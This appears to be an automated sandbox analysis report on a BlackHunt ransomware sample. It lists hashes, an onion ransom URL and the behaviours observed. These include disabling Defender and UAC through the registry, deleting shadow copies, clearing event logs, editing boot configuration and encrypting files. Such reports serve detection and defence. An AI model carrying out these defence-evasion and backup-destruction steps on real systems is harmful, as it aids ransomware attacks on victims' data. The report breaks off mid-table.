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Analysis
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max time kernel
120s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:40
Static task
static1
Behavioral task
behavioral1
Sample
6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe
Resource
win10v2004-20231215-en
General
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Target
6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe
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Size
707KB
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MD5
0511238130c5f3ce0ab029c32aba630a
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SHA1
6b3f7ad10b42c39de267c8982338dc214c85aaa7
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SHA256
6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b
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SHA512
2cb0c07f6ec3d054dfa8837ec19e6842b0bbf5abfceca0c9eeb48fc7262bcd25552198e8abbcc6eff3a5a068b4268b0f0208264deddd6cabb7a133c80a24d155
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1O8gvnh:6uaTmkZJ+naie5OTamgEoKxLW1+h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2512 fsutil.exe 2612 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2068 wevtutil.exe 276 wevtutil.exe 1492 wevtutil.exe 772 wevtutil.exe 588 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1744 bcdedit.exe 3048 bcdedit.exe 2888 bcdedit.exe 2372 bcdedit.exe -
Renames multiple (2345) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2456 wbadmin.exe 1860 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 1940 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe -
Enumerates connected drives 3 TTPs 26 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\I: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\H: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\Q: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\N: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\V: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\K: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\M: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\U: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\B: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\A: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\R: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\O: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\G: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\J: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\X: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\E: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\P: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\T: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\Y: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\S: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\L: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\Z: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened (read-only) \??\W: 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-io.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Cairo 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.hta 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sao_Paulo 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\jsse.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\high-contrast.css 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application-views.xml 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Costa_Rica 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\WET 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jre7\lib\zi\Etc\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_ja.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Jerusalem 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Glace_Bay 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Metlakatla 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_CopyNoDrop32x32.gif 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_ja.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_zh_4.4.0.v20140623020002.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-execution.xml 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sampler.xml 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Jayapura 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Stanley 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_zh_CN.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_highlights_Thumbnail.bmp 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-threaddump.xml 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\jfluid-server_ja.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Kosrae 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\title_stripe.png 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_ja_4.4.0.v20140623020002.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\calendars.properties 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Vevay 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\7-Zip\Lang\ne.txt 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\jawt_md.h 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\gimap.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Noumea 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EET 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sampler.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_zh_CN.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_Private.key 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_ja_4.4.0.v20140623020002.jar 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1028 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2596 vssadmin.exe 2552 vssadmin.exe 3000 vssadmin.exe 572 vssadmin.exe 2548 vssadmin.exe 760 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 1804 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1980 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2600 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeRestorePrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeBackupPrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeTakeOwnershipPrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeAuditPrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeSecurityPrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeIncBasePriorityPrivilege 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe Token: SeBackupPrivilege 2292 vssvc.exe Token: SeRestorePrivilege 2292 vssvc.exe Token: SeAuditPrivilege 2292 vssvc.exe Token: SeBackupPrivilege 552 wbengine.exe Token: SeRestorePrivilege 552 wbengine.exe Token: SeSecurityPrivilege 552 wbengine.exe Token: SeSecurityPrivilege 276 wevtutil.exe Token: SeBackupPrivilege 276 wevtutil.exe Token: SeSecurityPrivilege 2068 wevtutil.exe Token: SeSecurityPrivilege 1492 wevtutil.exe Token: SeSecurityPrivilege 772 wevtutil.exe Token: SeBackupPrivilege 2068 wevtutil.exe Token: SeBackupPrivilege 1492 wevtutil.exe Token: SeBackupPrivilege 772 wevtutil.exe Token: SeSecurityPrivilege 588 wevtutil.exe Token: SeBackupPrivilege 588 wevtutil.exe Token: SeDebugPrivilege 1804 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2868 wrote to memory of 2668 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 29 PID 2868 wrote to memory of 2668 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 29 PID 2868 wrote to memory of 2668 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 29 PID 2868 wrote to memory of 2668 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 29 PID 2868 wrote to memory of 2800 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 31 PID 2868 wrote to memory of 2800 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 31 PID 2868 wrote to memory of 2800 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 31 PID 2868 wrote to memory of 2800 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 31 PID 2868 wrote to memory of 2696 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 32 PID 2868 wrote to memory of 2696 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 32 PID 2868 wrote to memory of 2696 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 32 PID 2868 wrote to memory of 2696 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 32 PID 2868 wrote to memory of 2724 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 102 PID 2868 wrote to memory of 2724 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 102 PID 2868 wrote to memory of 2724 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 102 PID 2868 wrote to memory of 2724 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 102 PID 2868 wrote to memory of 2600 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 36 PID 2868 wrote to memory of 2600 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 36 PID 2868 wrote to memory of 2600 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 36 PID 2868 wrote to memory of 2600 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 36 PID 2868 wrote to memory of 2956 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 37 PID 2868 wrote to memory of 2956 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 37 PID 2868 wrote to memory of 2956 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 37 PID 2868 wrote to memory of 2956 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 37 PID 2868 wrote to memory of 2788 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 39 PID 2868 wrote to memory of 2788 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 39 PID 2868 wrote to memory of 2788 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 39 PID 2868 wrote to memory of 2788 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 39 PID 2868 wrote to memory of 2736 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 42 PID 2868 wrote to memory of 2736 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 42 PID 2868 wrote to memory of 2736 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 42 PID 2868 wrote to memory of 2736 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 42 PID 2868 wrote to memory of 2620 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 43 PID 2868 wrote to memory of 2620 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 43 PID 2868 wrote to memory of 2620 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 43 PID 2868 wrote to memory of 2620 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 43 PID 2868 wrote to memory of 2852 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 46 PID 2868 wrote to memory of 2852 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 46 PID 2868 wrote to memory of 2852 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 46 PID 2868 wrote to memory of 2852 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 46 PID 2868 wrote to memory of 2580 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 44 PID 2868 wrote to memory of 2580 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 44 PID 2868 wrote to memory of 2580 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 44 PID 2868 wrote to memory of 2580 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 44 PID 2868 wrote to memory of 2644 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 48 PID 2868 wrote to memory of 2644 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 48 PID 2868 wrote to memory of 2644 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 48 PID 2868 wrote to memory of 2644 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 48 PID 2668 wrote to memory of 2596 2668 cmd.exe 49 PID 2668 wrote to memory of 2596 2668 cmd.exe 49 PID 2668 wrote to memory of 2596 2668 cmd.exe 49 PID 2868 wrote to memory of 3048 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 136 PID 2868 wrote to memory of 3048 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 136 PID 2868 wrote to memory of 3048 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 136 PID 2868 wrote to memory of 3048 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 136 PID 2868 wrote to memory of 3052 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 51 PID 2868 wrote to memory of 3052 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 51 PID 2868 wrote to memory of 3052 2868 6a72c0f0615a899f5add73e19313760f20482fe055d69c2bacc1f634d48ea89b.exe 51 PID 2868 wrote to memory of 3052 2868 